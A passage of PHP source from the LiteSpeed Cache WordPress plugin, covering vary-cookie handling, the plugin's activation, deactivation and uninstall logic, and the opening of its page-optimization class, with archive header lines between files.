			// $_COOKIE[ self::$_vary_name ] = $vary; // not needed

			// save it
			if (!$expire) {
				$expire = time() + 2 * DAY_IN_SECONDS;
			}
			$this->_cookie($vary, $expire);
			// Control::set_nocache( 'changing default vary' . " $current_vary => $vary" );
		}
	}

	/**
	 * Get vary name
	 *
	 * @since 1.9.1
	 * @access public
	 */
	public function get_vary_name() {
		return self::$_vary_name;
	}

	/**
	 * Check if one user role is in vary group settings
	 *
	 * @since 1.2.0
	 * @since  3.0 Moved here from conf.cls
	 * @access public
	 * @param  string $role The user role
	 * @return int       The set value if already set
	 */
	public function in_vary_group( $role ) {
		$group       = 0;
		$vary_groups = $this->conf(Base::O_CACHE_VARY_GROUP);

		$roles = explode(',', $role);
		if ($found = array_intersect($roles, array_keys($vary_groups))) {
			$groups = array();
			foreach ($found as $curr_role) {
				$groups[] = $vary_groups[$curr_role];
			}
			$group = implode(',', array_unique($groups));
		} elseif (in_array('administrator', $roles)) {
			$group = 99;
		}

		if ($group) {
			self::debug2('role in vary_group [group] ' . $group);
		}

		return $group;
	}

	/**
	 * Finalize default Vary Cookie
	 *
	 *  Get user vary tag based on admin_bar & role
	 *
	 * NOTE: Login process will also call this because it does not call wp hook as normal page loading
	 *
	 * @since 1.6.2
	 * @access public
	 */
	public function finalize_default_vary( $uid = false ) {
		// Must check this to bypass vary generation for guests
		// Must check this to avoid Guest page's CSS/JS/CCSS/UCSS get non-guest vary filename
		if (defined('LITESPEED_GUEST') && LITESPEED_GUEST) {
			return false;
		}

		$vary = array();

		if ($this->conf(Base::O_GUEST)) {
			$vary['guest_mode'] = 1;
		}

		if (!$uid) {
			$uid = get_current_user_id();
		} else {
			self::debug('uid: ' . $uid);
		}

		// get user's group id
		$role = Router::get_role($uid);

		if ($uid > 0 && $role) {
			$vary['logged-in'] = 1;

			// parse role group from settings
			if ($role_group = $this->in_vary_group($role)) {
				$vary['role'] = $role_group;
			}

			// Get admin bar set
			// see @_get_admin_bar_pref()
			$pref = get_user_option('show_admin_bar_front', $uid);
			self::debug2('show_admin_bar_front: ' . $pref);
			$admin_bar = $pref === false || $pref === 'true';

			if ($admin_bar) {
				$vary['admin_bar'] = 1;
				self::debug2('admin bar : true');
			}
		} else {
			// Guest user
			self::debug('role id: failed, guest');
		}

		/**
		 * Add filter
		 *
		 * @since 1.6 Added for Role Excludes for optimization cls
		 * @since 1.6.2 Hooked to webp (checked in v4, no webp anymore)
		 * @since 3.0 Used by 3rd hooks too
		 */
		$vary = apply_filters('litespeed_vary', $vary);

		if (!$vary) {
			return false;
		}

		ksort($vary);
		$res = array();
		foreach ($vary as $key => $val) {
			$res[] = $key . ':' . $val;
		}

		$res = implode(';', $res);
		if (defined('LSCWP_LOG')) {
			return $res;
		}
		// Encrypt in production
		return md5($this->conf(Base::HASH) . $res);
	}

	/**
	 * Get the hash of all vary related values
	 *
	 * @since  4.0
	 */
	public function finalize_full_varies() {
		$vary  = $this->_finalize_curr_vary_cookies(true);
		$vary .= $this->finalize_default_vary(get_current_user_id());
		$vary .= $this->get_env_vary();
		return $vary;
	}

	/**
	 * Get request environment Vary
	 *
	 * @since  4.0
	 */
	public function get_env_vary() {
		$env_vary = isset($_SERVER['LSCACHE_VARY_VALUE']) ? $_SERVER['LSCACHE_VARY_VALUE'] : false;
		if (!$env_vary) {
			$env_vary = isset($_SERVER['HTTP_X_LSCACHE_VARY_VALUE']) ? $_SERVER['HTTP_X_LSCACHE_VARY_VALUE'] : false;
		}
		return $env_vary;
	}

	/**
	 * Append user status with commenter
	 *
	 * This is ONLY used when submit a comment
	 *
	 * @since 1.1.6
	 * @access public
	 */
	public function append_commenter() {
		$this->add_commenter(true);
	}

	/**
	 * Correct user status with commenter
	 *
	 * @since 1.1.3
	 * @access private
	 * @param  boolean $from_redirect If the request is from redirect page or not
	 */
	private function add_commenter( $from_redirect = false ) {
		// If the cookie is lost somehow, set it
		if (self::has_vary() !== 'commenter') {
			self::debug('Add commenter');
			// $_COOKIE[ self::$_vary_name ] = 'commenter'; // not needed

			// save it
			// only set commenter status for current domain path
			$this->_cookie('commenter', time() + apply_filters('comment_cookie_lifetime', 30000000), self::_relative_path($from_redirect));
			// Control::set_nocache( 'adding commenter status' );
		}
	}

	/**
	 * Remove user commenter status
	 *
	 * @since 1.1.3
	 * @access private
	 */
	private function remove_commenter() {
		if (self::has_vary() === 'commenter') {
			self::debug('Remove commenter');
			// remove logged in status from global var
			// unset( $_COOKIE[ self::$_vary_name ] ); // not needed

			// save it
			$this->_cookie(false, false, self::_relative_path());
			// Control::set_nocache( 'removing commenter status' );
		}
	}

	/**
	 * Generate relative path for cookie
	 *
	 * @since 1.1.3
	 * @access private
	 * @param  boolean $from_redirect If the request is from redirect page or not
	 */
	private static function _relative_path( $from_redirect = false ) {
		$path = false;
		$tag  = $from_redirect ? 'HTTP_REFERER' : 'SCRIPT_URL';
		if (!empty($_SERVER[$tag])) {
			$path = parse_url($_SERVER[$tag]);
			$path = !empty($path['path']) ? $path['path'] : false;
			self::debug('Cookie Vary path: ' . $path);
		}
		return $path;
	}

	/**
	 * Builds the vary header.
	 *
	 * NOTE: Non caccheable page can still set vary ( for logged in process )
	 *
	 * Currently, this only checks post passwords and 3rd party.
	 *
	 * @since 1.0.13
	 * @access public
	 * @global $post
	 * @return mixed false if the user has the postpass cookie. Empty string if the post is not password protected. Vary header otherwise.
	 */
	public function finalize() {
		// Finalize default vary
		if (!defined('LITESPEED_GUEST') || !LITESPEED_GUEST) {
			$this->_update_default_vary();
		}

		$tp_cookies = $this->_finalize_curr_vary_cookies();

		if (!$tp_cookies) {
			self::debug2('no custimzed vary');
			return;
		}

		self::debug('finalized 3rd party cookies', $tp_cookies);

		return self::X_HEADER . ': ' . implode(',', $tp_cookies);
	}

	/**
	 * Gets vary cookies or their values unique hash that are already added for the current page.
	 *
	 * @since 1.0.13
	 * @access private
	 * @return array List of all vary cookies currently added.
	 */
	private function _finalize_curr_vary_cookies( $values_json = false ) {
		global $post;

		$cookies = array(); // No need to append default vary cookie name

		if (!empty($post->post_password)) {
			$postpass_key = 'wp-postpass_' . COOKIEHASH;
			if ($this->_get_cookie_val($postpass_key)) {
				self::debug('finalize bypassed due to password protected vary ');
				// If user has password cookie, do not cache & ignore existing vary cookies
				Control::set_nocache('password protected vary');
				return false;
			}

			$cookies[] = $values_json ? $this->_get_cookie_val($postpass_key) : $postpass_key;
		}

		$cookies = apply_filters('litespeed_vary_curr_cookies', $cookies);
		if ($cookies) {
			$cookies = array_filter(array_unique($cookies));
			self::debug('vary cookies changed by filter litespeed_vary_curr_cookies', $cookies);
		}

		if (!$cookies) {
			return false;
		}
		// Format cookie name data or value data
		sort($cookies); // This is to maintain the cookie val orders for $values_json=true case.
		foreach ($cookies as $k => $v) {
			$cookies[$k] = $values_json ? $this->_get_cookie_val($v) : 'cookie=' . $v;
		}

		return $values_json ? \json_encode($cookies) : $cookies;
	}

	/**
	 * Get one vary cookie value
	 *
	 * @since  4.0
	 */
	private function _get_cookie_val( $key ) {
		if (!empty($_COOKIE[$key])) {
			return $_COOKIE[$key];
		}

		return false;
	}

	/**
	 * Set the vary cookie.
	 *
	 * If vary cookie changed, must set non cacheable.
	 *
	 * @since 1.0.4
	 * @access private
	 * @param int|false $val    The value to update.
	 * @param int       $expire Expire time.
	 * @param bool      $path   False if use wp root path as cookie path
	 */
	private function _cookie( $val = false, $expire = 0, $path = false ) {
		if (!$val) {
			$expire = 1;
		}

		/**
		 * Add HTTPS bypass in case clients use both HTTP and HTTPS version of site
		 *
		 * @since 1.7
		 */
		$is_ssl = $this->conf(Base::O_UTIL_NO_HTTPS_VARY) ? false : is_ssl();

		setcookie(self::$_vary_name, $val, $expire, $path ?: COOKIEPATH, COOKIE_DOMAIN, $is_ssl, true);
		self::debug('set_cookie ---> [k] ' . self::$_vary_name . " [v] $val [ttl] " . ($expire - time()));
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/activation.cls.php000064400000042677151031165260020530 0ustar00<?php
/**
 * The plugin activation class.
 *
 * @since       1.1.0
 * @since       1.5 Moved into /inc
 * @package     LiteSpeed
 * @subpackage  LiteSpeed/inc
 * @author      LiteSpeed Technologies <info@litespeedtech.com>
 */

namespace LiteSpeed;

defined( 'WPINC' ) || exit();

/**
 * Class Activation
 *
 * Handles plugin activation, deactivation, and related file management.
 *
 * @since 1.1.0
 */
class Activation extends Base {

	const TYPE_UPGRADE             = 'upgrade';
	const TYPE_INSTALL_3RD         = 'install_3rd';
	const TYPE_INSTALL_ZIP         = 'install_zip';
	const TYPE_DISMISS_RECOMMENDED = 'dismiss_recommended';

	const NETWORK_TRANSIENT_COUNT = 'lscwp_network_count';

	/**
	 * Data file path for configuration.
	 *
	 * @since 4.1
	 * @var string
	 */
	private static $data_file;

	/**
	 * Construct
	 *
	 * Initializes the data file path.
	 *
	 * @since 4.1
	 */
	public function __construct() {
		self::$data_file = LSCWP_CONTENT_DIR . '/' . self::CONF_FILE;
	}

	/**
	 * The activation hook callback.
	 *
	 * Handles plugin activation tasks, including file creation and multisite setup.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public static function register_activation() {
		$count = 0;
		! defined( 'LSCWP_LOG_TAG' ) && define( 'LSCWP_LOG_TAG', 'Activate_' . get_current_blog_id() );

		/* Network file handler */
		if ( is_multisite() ) {
			$count = self::get_network_count();
			if ( false !== $count ) {
				$count = (int) $count + 1;
				set_site_transient( self::NETWORK_TRANSIENT_COUNT, $count, DAY_IN_SECONDS );
			}

			if ( ! is_network_admin() ) {
				if ( 1 === $count ) {
					// Only itself is activated, set .htaccess with only CacheLookUp
					try {
						Htaccess::cls()->insert_ls_wrapper();
					} catch ( \Exception $ex ) {
						Admin_Display::error( $ex->getMessage() );
					}
				}
			}
		}
		self::cls()->update_files();

		if ( defined( 'LSCWP_REF' ) && 'whm' === LSCWP_REF ) {
			GUI::update_option( GUI::WHM_MSG, GUI::WHM_MSG_VAL );
		}
	}

	/**
	 * Uninstall plugin
	 *
	 * Removes all LiteSpeed Cache settings and data.
	 *
	 * @since 1.1.0
	 * @since 7.3 Updated to remove all settings.
	 * @access public
	 */
	public static function uninstall_litespeed_cache() {
		Task::destroy();

		if ( is_multisite() ) {
			// Save main site id
			$current_blog = get_current_blog_id();

			// get all sites
			$sub_sites = get_sites();

			// clear foreach site
			foreach ( $sub_sites as $sub_site ) {
				$sub_blog_id = (int) $sub_site->blog_id;
				if ( $sub_blog_id !== $current_blog ) {
					// Switch to blog
					switch_to_blog( $sub_blog_id );

					// Delete site options
					self::delete_settings();

					// Delete site tables
					Data::cls()->tables_del();
				}
			}

			// Return to main site
			switch_to_blog( $current_blog );
		}

		// Delete current blog/site
		// Delete options
		self::delete_settings();

		// Delete site tables
		Data::cls()->tables_del();

		if ( file_exists( LITESPEED_STATIC_DIR ) ) {
			File::rrmdir( LITESPEED_STATIC_DIR );
		}

		Cloud::version_check( 'uninstall' );
	}

	/**
	 * Remove all litespeed settings.
	 *
	 * Deletes all LiteSpeed Cache options from the database.
	 *
	 * @since 7.3
	 * @access private
	 */
	private static function delete_settings() {
		global $wpdb;

		// phpcs:ignore WordPress.DB.DirectDatabaseQuery
		$wpdb->query($wpdb->prepare("DELETE FROM `$wpdb->options` WHERE option_name LIKE %s", 'litespeed.%'));
	}

	/**
	 * Get the blog ids for the network. Accepts function arguments.
	 *
	 * @since 1.0.12
	 * @access public
	 * @param array $args Arguments for get_sites().
	 * @return array The array of blog ids.
	 */
	public static function get_network_ids( $args = array() ) {
		$args['fields'] = 'ids';
		$blogs          = get_sites( $args );

		return $blogs;
	}

	/**
	 * Gets the count of active litespeed cache plugins on multisite.
	 *
	 * @since 1.0.12
	 * @access private
	 * @return int|false Number of active LSCWP or false if none.
	 */
	private static function get_network_count() {
		$count = get_site_transient( self::NETWORK_TRANSIENT_COUNT );
		if ( false !== $count ) {
			return (int) $count;
		}
		// need to update
		$default = array();
		$count   = 0;

		$sites = self::get_network_ids( array( 'deleted' => 0 ) );
		if ( empty( $sites ) ) {
			return false;
		}

		foreach ( $sites as $site ) {
			$bid     = is_object( $site ) && property_exists( $site, 'blog_id' ) ? $site->blog_id : $site;
			$plugins = get_blog_option( $bid, 'active_plugins', $default );
			if ( ! empty( $plugins ) && in_array( LSCWP_BASENAME, $plugins, true ) ) {
				++$count;
			}
		}

		/**
		 * In case this is called outside the admin page
		 *
		 * @see  https://codex.wordpress.org/Function_Reference/is_plugin_active_for_network
		 * @since  2.0
		 */
		if ( ! function_exists( 'is_plugin_active_for_network' ) ) {
			require_once ABSPATH . '/wp-admin/includes/plugin.php';
		}

		if ( is_plugin_active_for_network( LSCWP_BASENAME ) ) {
			++$count;
		}
		return $count;
	}

	/**
	 * Is this deactivate call the last active installation on the multisite network?
	 *
	 * @since 1.0.12
	 * @access private
	 */
	private static function is_deactivate_last() {
		$count = self::get_network_count();
		if ( false === $count ) {
			return false;
		}
		if ( 1 !== $count ) {
			// Not deactivating the last one.
			--$count;
			set_site_transient( self::NETWORK_TRANSIENT_COUNT, $count, DAY_IN_SECONDS );
			return false;
		}

		delete_site_transient( self::NETWORK_TRANSIENT_COUNT );
		return true;
	}

	/**
	 * The deactivation hook callback.
	 *
	 * Initializes all clean up functionalities.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public static function register_deactivation() {
		Task::destroy();

		! defined( 'LSCWP_LOG_TAG' ) && define( 'LSCWP_LOG_TAG', 'Deactivate_' . get_current_blog_id() );

		Purge::purge_all();

		if ( is_multisite() ) {
			if ( ! self::is_deactivate_last() ) {
				if ( is_network_admin() ) {
					// Still other activated subsite left, set .htaccess with only CacheLookUp
					try {
						Htaccess::cls()->insert_ls_wrapper();
					} catch ( \Exception $ex ) {
						Admin_Display::error($ex->getMessage());
					}
				}
				return;
			}
		}

		/* 1) wp-config.php; */

		try {
			self::cls()->manage_wp_cache_const( false );
		} catch ( \Exception $ex ) {
			// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.PHP.DevelopmentFunctions.error_log_error_log
			error_log( 'In wp-config.php: WP_CACHE could not be set to false during deactivation!' );

			Admin_Display::error( $ex->getMessage() );
		}

		/* 2) adv-cache.php; Dropped in v3.0.4 */

		/* 3) object-cache.php; */

		Object_Cache::cls()->del_file();

		/* 4) .htaccess; */

		try {
			Htaccess::cls()->clear_rules();
		} catch ( \Exception $ex ) {
			Admin_Display::error( $ex->getMessage() );
		}

		/* 5) .litespeed_conf.dat; */

		self::del_conf_data_file();

		/* 6) delete option lscwp_whm_install */

		// delete in case it's not deleted prior to deactivation.
		GUI::dismiss_whm();
	}

	/**
	 * Manage related files based on plugin latest conf
	 *
	 * Handle files:
	 *      1) wp-config.php;
	 *      2) adv-cache.php;
	 *      3) object-cache.php;
	 *      4) .htaccess;
	 *      5) .litespeed_conf.dat;
	 *
	 * @since 3.0
	 * @access public
	 */
	public function update_files() {
		Debug2::debug( '🗂️ [Activation] update_files' );

		// Update cache setting `_CACHE`
		$this->cls( 'Conf' )->define_cache();

		// Site options applied already
		$options = $this->get_options();

		/* 1) wp-config.php; */

		try {
			$this->manage_wp_cache_const( $options[ self::_CACHE ] );
		} catch ( \Exception $ex ) {
			// Add msg to admin page or CLI
			Admin_Display::error( wp_kses_post( $ex->getMessage() ) );
		}

		/* 2) adv-cache.php; Dropped in v3.0.4 */

		/* 3) object-cache.php; */

		if ( $options[ self::O_OBJECT ] && ( ! $options[ self::O_DEBUG_DISABLE_ALL ] || is_multisite() ) ) {
			$this->cls( 'Object_Cache' )->update_file( $options );
		} else {
			$this->cls( 'Object_Cache' )->del_file(); // Note: because it doesn't reconnect, which caused setting page OC option changes delayed, thus may meet Connect Test Failed issue (Next refresh will correct it). Not a big deal, will keep as is.
		}

		/* 4) .htaccess; */

		try {
			$this->cls( 'Htaccess' )->update( $options );
		} catch ( \Exception $ex ) {
			Admin_Display::error( wp_kses_post( $ex->getMessage() ) );
		}

		/* 5) .litespeed_conf.dat; */

		if ( ( $options[ self::O_GUEST ] || $options[ self::O_OBJECT ] ) && ( ! $options[ self::O_DEBUG_DISABLE_ALL ] || is_multisite() ) ) {
			$this->update_conf_data_file( $options );
		}
	}

	/**
	 * Delete data conf file
	 *
	 * Removes the .litespeed_conf.dat file.
	 *
	 * @since  4.1
	 * @access private
	 */
	private static function del_conf_data_file() {
		global $wp_filesystem;

		if ( ! $wp_filesystem ) {
			require_once ABSPATH . 'wp-admin/includes/file.php';
			WP_Filesystem();
		}

		if ( $wp_filesystem->exists( self::$data_file ) ) {
			$wp_filesystem->delete( self::$data_file );
		}
	}

	/**
	 * Update data conf file for guest mode & object cache
	 *
	 * Updates the .litespeed_conf.dat file with relevant settings.
	 *
	 * @since  4.1
	 * @access private
	 * @param array $options Plugin options.
	 */
	private function update_conf_data_file( $options ) {
		$ids = array();
		if ( $options[ self::O_OBJECT ] ) {
			$this_ids = array(
				self::O_DEBUG,
				self::O_OBJECT_KIND,
				self::O_OBJECT_HOST,
				self::O_OBJECT_PORT,
				self::O_OBJECT_LIFE,
				self::O_OBJECT_USER,
				self::O_OBJECT_PSWD,
				self::O_OBJECT_DB_ID,
				self::O_OBJECT_PERSISTENT,
				self::O_OBJECT_ADMIN,
				self::O_OBJECT_TRANSIENTS,
				self::O_OBJECT_GLOBAL_GROUPS,
				self::O_OBJECT_NON_PERSISTENT_GROUPS,
			);
			$ids      = array_merge( $ids, $this_ids );
		}

		if ( $options[ self::O_GUEST ] ) {
			$this_ids = array(
				self::HASH,
				self::O_CACHE_LOGIN_COOKIE,
				self::O_DEBUG_IPS,
				self::O_UTIL_NO_HTTPS_VARY,
				self::O_GUEST_UAS,
				self::O_GUEST_IPS,
			);
			$ids      = array_merge( $ids, $this_ids );
		}

		$data = array();
		foreach ( $ids as $v ) {
			$data[ $v ] = $options[ $v ];
		}
		$data = wp_json_encode( $data );

		$old_data = File::read( self::$data_file );
		if ( $old_data !== $data ) {
			defined( 'LSCWP_LOG' ) && Debug2::debug( '[Activation] Updating .litespeed_conf.dat' );
			File::save( self::$data_file, $data );
		}
	}

	/**
	 * Update the WP_CACHE variable in the wp-config.php file.
	 *
	 * If enabling, check if the variable is defined, and if not, define it.
	 * Vice versa for disabling.
	 *
	 * @since 1.0.0
	 * @since  3.0 Refactored
	 * @param bool $enable Whether to enable WP_CACHE.
	 * @throws \Exception If wp-config.php cannot be modified.
	 * @return bool True if updated, false if no change needed.
	 */
	public function manage_wp_cache_const( $enable ) {
		if ( $enable ) {
			if ( defined( 'WP_CACHE' ) && WP_CACHE ) {
				return false;
			}
		} elseif ( ! defined( 'WP_CACHE' ) || ( defined( 'WP_CACHE' ) && ! WP_CACHE ) ) {
			return false;
		}

		if ( apply_filters( 'litespeed_wpconfig_readonly', false ) ) {
			throw new \Exception( 'wp-config file is forbidden to modify due to API hook: litespeed_wpconfig_readonly' );
		}

		/**
		 * Follow WP's logic to locate wp-config file
		 *
		 * @see wp-load.php
		 */
		$conf_file = ABSPATH . 'wp-config.php';
		if ( ! file_exists( $conf_file ) ) {
			$conf_file = dirname( ABSPATH ) . '/wp-config.php';
		}

		$content = File::read( $conf_file );
		if ( ! $content ) {
			throw new \Exception( 'wp-config file content is empty: ' . wp_kses_post( $conf_file ) );
		}

		// Remove the line `define('WP_CACHE', true/false);` first
		if ( defined( 'WP_CACHE' ) ) {
			$content = preg_replace( '/define\(\s*([\'"])WP_CACHE\1\s*,\s*\w+\s*\)\s*;/sU', '', $content );
		}

		// Insert const
		if ( $enable ) {
			$content = preg_replace( '/^<\?php/', "<?php\ndefine( 'WP_CACHE', true );", $content );
		}

		$res = File::save( $conf_file, $content, false, false, false );

		if ( true !== $res ) {
			throw new \Exception( 'wp-config.php operation failed when changing `WP_CACHE` const: ' . wp_kses_post( $res ) );
		}

		return true;
	}

	/**
	 * Handle auto update
	 *
	 * Enables auto-updates for the plugin if configured.
	 *
	 * @since 2.7.2
	 * @access public
	 */
	public function auto_update() {
		if ( ! $this->conf( Base::O_AUTO_UPGRADE ) ) {
			return;
		}

		add_filter( 'auto_update_plugin', array( $this, 'auto_update_hook' ), 10, 2 );
	}

	/**
	 * Auto upgrade hook
	 *
	 * Determines whether to auto-update the plugin.
	 *
	 * @since  3.0
	 * @access public
	 * @param bool   $update Whether to update.
	 * @param object $item   Plugin data.
	 * @return bool Whether to update.
	 */
	public function auto_update_hook( $update, $item ) {
		if ( ! empty( $item->slug ) && 'litespeed-cache' === $item->slug ) {
			$auto_v = Cloud::version_check( 'auto_update_plugin' );

			if ( ! empty( $auto_v['latest'] ) && ! empty( $item->new_version ) && $auto_v['latest'] === $item->new_version ) {
				return true;
			}
		}

		return $update; // Else, use the normal API response to decide whether to update or not
	}

	/**
	 * Upgrade LSCWP
	 *
	 * Upgrades the LiteSpeed Cache plugin.
	 *
	 * @since 2.9
	 * @access public
	 */
	public function upgrade() {
		$plugin = Core::PLUGIN_FILE;

		/**
		 * Load upgrade cls
		 *
		 * @see wp-admin/update.php
		 */
		include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
		include_once ABSPATH . 'wp-admin/includes/file.php';
		include_once ABSPATH . 'wp-admin/includes/misc.php';

		try {
			ob_start();
			$skin     = new \WP_Ajax_Upgrader_Skin();
			$upgrader = new \Plugin_Upgrader( $skin );
			$result   = $upgrader->upgrade( $plugin );
			if ( ! is_plugin_active( $plugin ) ) {
				// todo: upgrade should reactivate the plugin again by WP. Need to check why disabled after upgraded.
				activate_plugin( $plugin, '', is_multisite() );
			}
			ob_end_clean();
		} catch ( \Exception $e ) {
			Admin_Display::error( __( 'Failed to upgrade.', 'litespeed-cache' ) );
			return;
		}

		if ( is_wp_error( $result ) ) {
			Admin_Display::error( __( 'Failed to upgrade.', 'litespeed-cache' ) );
			return;
		}

		Admin_Display::success( __( 'Upgraded successfully.', 'litespeed-cache' ) );
	}

	/**
	 * Detect if the plugin is active or not
	 *
	 * @since  1.0
	 * @access public
	 * @param string $plugin Plugin slug.
	 * @return bool True if active, false otherwise.
	 */
	public function dash_notifier_is_plugin_active( $plugin ) {
		include_once ABSPATH . 'wp-admin/includes/plugin.php';

		$plugin_path = $plugin . '/' . $plugin . '.php';

		return is_plugin_active( $plugin_path );
	}

	/**
	 * Detect if the plugin is installed or not
	 *
	 * @since  1.0
	 * @access public
	 * @param string $plugin Plugin slug.
	 * @return bool True if installed, false otherwise.
	 */
	public function dash_notifier_is_plugin_installed( $plugin ) {
		include_once ABSPATH . 'wp-admin/includes/plugin.php';

		$plugin_path = $plugin . '/' . $plugin . '.php';

		$valid = validate_plugin( $plugin_path );

		return ! is_wp_error( $valid );
	}

	/**
	 * Grab a plugin info from WordPress
	 *
	 * @since  1.0
	 * @access public
	 * @param string $slug Plugin slug.
	 * @return object|false Plugin info or false on failure.
	 */
	public function dash_notifier_get_plugin_info( $slug ) {
		include_once ABSPATH . 'wp-admin/includes/plugin-install.php';
		$result = plugins_api( 'plugin_information', array( 'slug' => $slug ) );

		if ( is_wp_error( $result ) ) {
			return false;
		}

		return $result;
	}

	/**
	 * Install the 3rd party plugin
	 *
	 * Installs and activates a third-party plugin.
	 *
	 * @since  1.0
	 * @access public
	 */
	public function dash_notifier_install_3rd() {
		! defined( 'SILENCE_INSTALL' ) && define( 'SILENCE_INSTALL', true );

		// phpcs:ignore
		$slug = ! empty( $_GET['plugin'] ) ? wp_unslash( sanitize_text_field( $_GET['plugin'] ) ) : false;

		// Check if plugin is installed already
		if ( ! $slug || $this->dash_notifier_is_plugin_active( $slug ) ) {
			return;
		}

		/**
		 * Load upgrade cls
		 *
		 * @see wp-admin/update.php
		 */
		include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
		include_once ABSPATH . 'wp-admin/includes/file.php';
		include_once ABSPATH . 'wp-admin/includes/misc.php';

		$plugin_path = $slug . '/' . $slug . '.php';

		if ( ! $this->dash_notifier_is_plugin_installed( $slug ) ) {
			$plugin_info = $this->dash_notifier_get_plugin_info( $slug );
			if ( ! $plugin_info ) {
				return;
			}
			// Try to install plugin
			try {
				ob_start();
				$skin     = new \Automatic_Upgrader_Skin();
				$upgrader = new \Plugin_Upgrader( $skin );
				$result   = $upgrader->install( $plugin_info->download_link );
				ob_end_clean();
			} catch ( \Exception $e ) {
				return;
			}
		}

		if ( ! is_plugin_active( $plugin_path ) ) {
			activate_plugin( $plugin_path );
		}
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * Processes various activation-related actions.
	 *
	 * @since  2.9
	 * @access public
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ( $type ) {
			case self::TYPE_UPGRADE:
				$this->upgrade();
				break;

			case self::TYPE_INSTALL_3RD:
				$this->dash_notifier_install_3rd();
				break;

			case self::TYPE_DISMISS_RECOMMENDED:
				Cloud::reload_summary();
				Cloud::save_summary( array( 'news.new' => 0 ) );
				break;

			case self::TYPE_INSTALL_ZIP:
				Cloud::reload_summary();
				$summary = Cloud::get_summary();
				if ( ! empty( $summary['news.zip'] ) ) {
					Cloud::save_summary( array( 'news.new' => 0 ) );

					$this->cls( 'Debug2' )->beta_test( $summary['zip'] );
				}
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/optimize.cls.php000064400000115245151031165260020217 0ustar00<?php
// phpcs:ignoreFile

/**
 * The optimize class.
 *
 * @since       1.2.2
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Optimize extends Base {
	const LOG_TAG           = '🎢';

	const LIB_FILE_CSS_ASYNC     = 'assets/js/css_async.min.js';
	const LIB_FILE_WEBFONTLOADER = 'assets/js/webfontloader.min.js';
	const LIB_FILE_JS_DELAY      = 'assets/js/js_delay.min.js';

	const ITEM_TIMESTAMP_PURGE_CSS = 'timestamp_purge_css';

	const DUMMY_CSS_REGEX = "#<link rel=['\"]stylesheet['\"] id=['\"]litespeed-cache-dummy-css['\"] href=['\"].+assets/css/litespeed-dummy\.css[?\w.=-]*['\"][ \w='\"/]*>#isU";

	private $content;
	private $content_ori;

	private $cfg_css_min;
	private $cfg_css_comb;
	private $cfg_js_min;
	private $cfg_js_comb;
	private $cfg_css_async;
	private $cfg_js_delay_inc = array();
	private $cfg_js_defer;
	private $cfg_js_defer_exc = false;
	private $cfg_ggfonts_async;
	private $_conf_css_font_display;
	private $cfg_ggfonts_rm;

	private $dns_prefetch;
	private $dns_preconnect;
	private $_ggfonts_urls = array();
	private $_ccss;
	private $_ucss = false;

	private $__optimizer;

	private $html_foot = ''; // The html info append to <body>
	private $html_head = ''; // The html info append to <head>
	private $html_head_early = ''; // The html info prepend to top of head

	private static $_var_i    = 0;
	private $_var_preserve_js = array();
	private $_request_url;

	/**
	 * Constructor
	 *
	 * @since  4.0
	 */
	public function __construct() {
		self::debug('init');
		$this->__optimizer = $this->cls('Optimizer');
	}

	/**
	 * Init optimizer
	 *
	 * @since  3.0
	 * @access protected
	 */
	public function init() {
		$this->cfg_css_async = defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_CSS_ASYNC);
		if ($this->cfg_css_async) {
			if (!$this->cls('Cloud')->activated()) {
				self::debug('❌ CCSS set to OFF due to QC not activated');
				$this->cfg_css_async = false;
			}
			if ((defined('LITESPEED_GUEST_OPTM') || ($this->conf(self::O_OPTM_UCSS) && $this->conf(self::O_OPTM_CSS_COMB))) && $this->conf(self::O_OPTM_UCSS_INLINE)) {
				self::debug('⚠️ CCSS set to OFF due to UCSS Inline');
				$this->cfg_css_async = false;
			}
		}
		$this->cfg_js_defer = $this->conf(self::O_OPTM_JS_DEFER);
		if (defined('LITESPEED_GUEST_OPTM')) {
			$this->cfg_js_defer = 2;
		}
		if ($this->cfg_js_defer == 2) {
			add_filter(
				'litespeed_optm_cssjs',
				function ( $con, $file_type ) {
					if ($file_type == 'js') {
						$con = str_replace('DOMContentLoaded', 'DOMContentLiteSpeedLoaded', $con);
						// $con = str_replace( 'addEventListener("load"', 'addEventListener("litespeedLoad"', $con );
					}
					return $con;
				},
				20,
				2
			);
		}

		// To remove emoji from WP
		if ($this->conf(self::O_OPTM_EMOJI_RM)) {
			$this->_emoji_rm();
		}

		if ($this->conf(self::O_OPTM_QS_RM)) {
			add_filter('style_loader_src', array( $this, 'remove_query_strings' ), 999);
			add_filter('script_loader_src', array( $this, 'remove_query_strings' ), 999);
		}

		// GM JS exclude @since 4.1
		if (defined('LITESPEED_GUEST_OPTM')) {
			$this->cfg_js_defer_exc = apply_filters('litespeed_optm_gm_js_exc', $this->conf(self::O_OPTM_GM_JS_EXC));
		} else {
			/**
			 * Exclude js from deferred setting
			 *
			 * @since 1.5
			 */
			if ($this->cfg_js_defer) {
				add_filter('litespeed_optm_js_defer_exc', array( $this->cls('Data'), 'load_js_defer_exc' ));
				$this->cfg_js_defer_exc = apply_filters('litespeed_optm_js_defer_exc', $this->conf(self::O_OPTM_JS_DEFER_EXC));

				$this->cfg_js_delay_inc = apply_filters('litespeed_optm_js_delay_inc', $this->conf(self::O_OPTM_JS_DELAY_INC));
			}
		}

		// Add vary filter for Role Excludes @since  1.6
		add_filter('litespeed_vary', array( $this, 'vary_add_role_exclude' ));

		// DNS optm (Prefetch/Preconnect) @since 7.3
		$this->_dns_optm_init();

		add_filter('litespeed_buffer_finalize', array( $this, 'finalize' ), 20);

		// Inject a dummy CSS file to control final optimized data location in <head>
		wp_enqueue_style(Core::PLUGIN_NAME . '-dummy', LSWCP_PLUGIN_URL . 'assets/css/litespeed-dummy.css');
	}

	/**
	 * Exclude role from optimization filter
	 *
	 * @since  1.6
	 * @access public
	 */
	public function vary_add_role_exclude( $vary ) {
		if ($this->cls('Conf')->in_optm_exc_roles()) {
			$vary['role_exclude_optm'] = 1;
